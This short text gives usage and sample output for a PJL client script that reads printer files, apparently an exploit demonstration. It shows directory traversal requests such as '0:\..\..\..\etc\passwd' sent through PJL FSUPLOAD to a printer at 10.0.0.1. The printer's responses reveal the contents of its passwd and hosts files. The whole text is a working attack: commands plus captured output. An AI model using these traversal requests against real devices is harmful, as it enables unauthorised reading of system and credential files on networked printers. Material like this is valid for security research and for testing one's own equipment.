Usage: python pjlclient.py <dir|read> <path/file>
Examples:
$python pjlclient.py 10.0.0.1 dir 0:/pcl/macros
$python pjlclient.py 10.0.0.1 read 0:/pcl/macros/file.pcl
$python pjlclient.py 10.0.0.1 read 0:\..\..\..\etc\passwd
@PJL FSUPLOAD FORMAT:BINARY NAME="0:......\etc\passwd" OFFSET=0 SIZE=23
root::0:0::/:/bin/dlsh
$python pjlclient.py 10.0.0.1 read 0:\..\..\..\etc\hosts
@PJL FSUPLOAD FORMAT:BINARY NAME="0:......\etc\hosts" OFFSET=0 SIZE=362
127.0.0.1 localhost mailhost loghost